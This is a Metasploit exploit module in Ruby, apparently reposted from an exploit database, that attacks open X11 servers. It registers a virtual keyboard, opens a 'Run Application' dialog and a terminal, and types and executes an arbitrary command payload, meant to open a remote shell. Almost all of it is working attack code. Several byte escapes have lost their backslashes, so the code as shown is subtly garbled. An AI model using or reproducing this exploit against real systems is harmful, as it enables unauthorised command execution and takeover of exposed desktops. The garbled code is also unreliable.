###########################

# X11 Keyboard Command Injection Vulnerability

###########################

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp

KB_KEYS = {
'1' => "x0a",
'2' => "x0b",
'3' => "x0c",
'4' => "x0d",
'5' => "x0e",
'6' => "x0f",
'7' => "x10",
'&' => "x10",
'8' => "x11",
'9' => "x12",
'(' => "x12",
'0' => "x13",
')' => "x13",
'-' => "x14",
'=' => "x15",
'q' => "x18",
'w' => "x19",
'e' => "x1a",
'r' => "x1b",
't' => "x1c",
'y' => "x1d",
'u' => "x1e",
'i' => "x1f",
'o' => "x20",
'p' => "x21",
'[' => "x22",
'{' => "x22",
']' => "x23",
'}' => "x23",
'a' => "x26",
's' => "x27",
'd' => "x28",
'f' => "x29",
'g' => "x2a",
'h' => "x2b",
'j' => "x2c",
'k' => "x2d",
'l' => "x2e",
';' => "x2f",
':' => "x2f",
"'" => "x30",
'"' => "x30",
'`' => "x31",
'~' => "x31",
'lshift' => "x32",
'' => "x33",
'|' => "x33",
'z' => "x34",
'x' => "x35",
'c' => "x36",
'v' => "x37",
'b' => "x38",
'n' => "x39",
'm' => "x3a",
',' => "x3b",
'<' => "x3b",
'.' => "x3c",
'>' => "x3c",
'/' => "x3d",
'*' => "x3f",
'alt' => "x40",
' ' => "x41",
'f2' => "x44"
}


def initialize(info = {})
super(update_info(info,
'Name' => 'X11 Keyboard Command Injection',
'Description' => %q{
This module exploits open X11 servers by connecting and registering a
virtual keyboard. The virtual keyboard is used to open an xterm or gnome
terminal and type and execute the specified payload.
},
'Author' =>
[
'xistence <xistence[at]0x90.nl>'
],
'Privileged' => false,
'License' => MSF_LICENSE,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'gawk bash-tcp python netcat'
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'xterm (Generic)', {}],
[ 'gnome-terminal (Ubuntu)', {}],
], 'DisclosureDate' => 'Jul 10 2015',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(6000),
OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows in seconds', 5])
], self.class)
end


def xkeyboard_key
req = ""
req << @xkeyboard_opcode
req << "x05" # Extension minor: 5 (LatchLockState)
req << "x04x00" # Request length: 4
req << "x00x01" # DeviceSpec: 0x0100 (256)
req << "x00" # affectModLocks: 0
req << "x00" # modLocks: 0
req << "x01" # lockGroup: True
req << "x00" # groupLock: 0
req << "x00" # affectModLatches: 0
req << "x00" # Unused
req << "x00" # latchGroup: False
req << "x00x00" # groupLatch: 0
req << "x00" # Undecoded
return req
end


def press_key(key)

req = xkeyboard_key

req << @xtest_opcode
req << "x02" # Extension minor: 2 (FakeInput)
req << "x09x00" # Request length: 9
req << "x02" # Press key (Type: 2)
req << key # What key to press
req << "x04x00" # Unused?
req << "x00x00x00x00" # Time
req << "x00x00x00x00" # Root
req << "x07x00x07x00" # Unused?
req << "x88x04x02x00" # Unused?
#req << "x00x01" # rootX: 256
#req << "xf5x05" # rootY: 1525
req << "x00x00" # rootX: 0
req << "x00x00" # rootY: 0
req << "x00x00x00x00" # Unused?
req << "x00x00x00" # Unused?
req << "x00" # deviceid: 0

req << xkeyboard_key

req << "x2b" # Opcode 43: GetInputFocus
req << "x00" # Unused
req << "x01x00" # Request length: 1

sock.put(req)

res = sock.get_once

# Response should give 1 on first byte (Success)
unless res && res[0,1] == "x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}")
end

end

def release_key(key)

req = xkeyboard_key

req << @xtest_opcode
req << "x02" # Extension minor: 2 (FakeInput)
req << "x09x00" # Request length: 9
req << "x03" # Release key (Type: 3)
req << key # What key to release
req << "x04x00" # Unused?
req << "x00x00x00x00" # Time
req << "x00x00x00x00" # Root
req << "x07x00x07x00" # Unused?
req << "x88x04x02x00" # Unused?
#req << "x00x01" # rootX: 256
#req << "xf5x05" # rootY: 1525
req << "x00x00" # rootX: 0
req << "x00x00" # rootY: 0
req << "x00x00x00x00" # Unused?
req << "x00x00x00" # Unused?
req << "x00" # deviceid: 0

req << xkeyboard_key

req << "x2b" # Opcode 43: GetInputFocus
req << "x00" # Unused
req << "x01x00" # Request length: 1

sock.put(req)

res = sock.get_once

# Response should give 1 on first byte (Success)
unless res && res[0,1] == "x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}")
end

end

def type_command(command)
# Specify the special keys which need to have shift pressed first to type
specialkeys = '<>{}|"&()'.chars
values = command.chars
values.each do |value|
key = KB_KEYS[value]
# Special keys need a shift pressed to be typed
if Regexp.union(specialkeys) =~ value
press_key(KB_KEYS["lshift"]) # [lshift]
press_key(key)
release_key(KB_KEYS["lshift"])
release_key(key)
# Uppercase characters need to be converted to lowercase and be typed in combination with the shift key to generate uppercase
elsif value =~ /[A-Z]/
press_key(KB_KEYS["lshift"]) # [lshift]
press_key(KB_KEYS[value.downcase])
release_key(KB_KEYS["lshift"])
release_key(KB_KEYS[value.downcase])
# All normal keys which are not special keys or uppercase characters
else
press_key(key)
release_key(key)
end
end
# Send an enter
press_key("x24") # [enter]
release_key("x24") # [enter]
end

def send_msg(sock, data)
sock.put(data)
data = ""
begin
read_data = sock.get_once(-1, 1)
while not read_data.nil?
data << read_data
read_data = sock.get_once(-1, 1)
end
rescue EOFError
end
data
end

def exploit

begin
connect

print_status("#{rhost}:#{rport} - Register keyboard")

req = "x6c" # Byte order (Little-Endian)
req << "x00" # Unused
req << "x0bx00" # Protocol major version: 11
req << "x00x00" # Protocol minor version: 0
req << "x00x00" # Authorization protocol name length: 0
req << "x00x00" # Authorization protocol data length: 0
req << "x00x00" # Unused

# Retrieve the whole X11 details response
res = send_msg(sock,req)

# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 initial communication failed")
end


# Keyboard registration
req = "x62" # Opcode 98: QueryExtension
req << "x00" # Unused
req << "x05x00" # Request length: 5
req << "x09x00" # Name length: 9
req << "x60x03" # Unused?
req << "XKEYBOARD" # Name
req << "x00x00x00" # Unused, padding?

# Retrieve the whole X11 details response
res = send_msg(sock,req)

# Response should give 0x01 in first byte (Success)
if res && res[0,1] == "x01"
@xkeyboard_opcode = res[9,1] # Retrieve the XKEYBOARD opcode
else
#puts res.inspect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XKEYBOARD failed")
end


req = ""
req << @xkeyboard_opcode
req << "x00" # Extension minor: 0 (UseExtension)
req << "x02x00" # Request length: 2
req << "x01x00" # Wanted Major: 1
req << "x00x00" # Wanted Minor: 0

# Retrieve the whole X11 details response
res = send_msg(sock,req)

unless res && res[0,1] == "x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD (opcode 136) failed -")
end


req = "x62" # Opcode 98: QueryExtension
req << "x00" # Unused
req << "x06x00" # Request length: 6
req << "x0fx00" # Name length: 15
req << "x00x00" # Unused
req << "XInputExtension" # Name
req << "x00" # Unused, padding?

# Retrieve the whole X11 details response
res = send_msg(sock,req)

# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XInputExtension failed")
end


req = "x62" # Opcode 98: QueryExtension
req << "x00" # Unused
req << "x04x00" # Request length: 4
req << "x05x00" # Name length: 5
req << "x00x00" # Unused
req << "XTEST" # Name
req << "x00x00x00" # Unused, padding?

# Retrieve the whole X11 details response
res = send_msg(sock,req)

# Response should give 0x01 in first byte (Success)
if res && res[0,1] == "x01"
@xtest_opcode = res[9,1] # Retrieve the XTEST opcode
else
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XTEST failed")
end


req = "x62" # Opcode 98: QueryExtension
req << "x00" # Unused
req << "x08x00" # Request length
req << "x17x00" # Name length
req << "x00x00" # Unused
req << "Generic Event Extension" # Name
req << "x00" # Unused, padding?

# Retrieve the whole X11 details response
res = send_msg(sock,req)

# Response should give 0x01 in first byte (Success)
if res && res[0,1] == "x01"
@genericevent_opcode = res[9,1] # Retrieve the Generic Event Extension opcode
else
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) Generic Event Extension failed")
end


req = ""
req << @genericevent_opcode
req << "x00" # Extension minor: 0 (QueryVersion)
req << "x02x00" # Request length: 2
req << "x01x00" # Client major version: 1
req << "x00x00" # Client minor version: 0

# Retrieve the whole X11 details response
res = send_msg(sock,req)

# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
end


req = ""
req << @xtest_opcode
req << "x00" # Extension minor: 0 (GetVersion)
req << "x02x00" # Request length: 2
req << "x02x00" # Major version: 2
req << "x02x00" # Minor version: 2

# Retrieve the whole X11 details response
res = send_msg(sock,req)

# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XTEST failed")
end


req = "x65" # Opcode 101: GetKeyboardMapping
req << "x00" # Unused
req << "x02x00" # Request length: 2
req << "x08" # First keycode: 8
req << "xf8" # Count: 248
req << "x02x00" # Unused?

# Retrieve the whole X11 details response
res = send_msg(sock,req)

# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request GetKeyboardMapping (opcode 101) failed")
end


req = ""
req << @xkeyboard_opcode
req << "x08" # Extension minor: 8 (GetMap)
req << "x07x00" # Request length: 7
req << "x00x01" # Device spec: 0x0100 (256)
req << "x07x00" # Full: 7
req << "x00x00" # Partial: 0
req << "x00" # firsType: 0
req << "x00" # nTypes: 0
req << "x00" # firstKeySym: 0
req << "x00" # nKeySym: 0
req << "x00" # firstKeyAction: 0
req << "x00" # nKeysActions: 0
req << "x00" # firstKeyBehavior: 0
req << "x00" # nKeysBehavior: 0
req << "x00x00" # virtualMods: 0
req << "x00" # firstKeyExplicit: 0
req << "x00" # nKeyExplicit: 0
req << "x00" # firstModMapKey: 0
req << "x00" # nModMapKeys: 0
req << "x00" # firstVModMapKey: 0
req << "x00" # nVModMapKeys: 0
req << "x00x00" # Unused, padding?

# Retrieve the whole X11 details response
res = send_msg(sock,req)

# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
end


# Press ALT+F2 to start up "Run application"
print_status("#{rhost}:#{rport} - Opening "Run Application"")
press_key(KB_KEYS["alt"])
press_key(KB_KEYS["f2"])
release_key(KB_KEYS["alt"])
release_key(KB_KEYS["f2"])

# Wait X seconds to open the dialog
print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
Rex.sleep(datastore['TIME_WAIT'])

if datastore['TARGET'] == 0
# Start a xterm terminal
print_status("#{rhost}:#{rport} - Opening xterm")
type_command("xterm")
else
# Start a Gnome terminal
print_status("#{rhost}:#{rport} - Opening gnome-terminal")
type_command("gnome-terminal")
end

print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
# Wait X seconds to open the terminal
Rex.sleep(datastore['TIME_WAIT'])

# "Type" our payload and execute it
print_status("#{rhost}:#{rport} - Typing and executing payload")
command = "nohup #{payload.encoded} &2>/dev/null; sleep 1; exit"

type_command(command)

handler
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
print_error("#{rhost}:#{rport} - #{e.message}")
ensure
disconnect
end
end
end

###########################

# Iranian Exploit DataBase = http://IeDb.Ir [2015-10-22]

###########################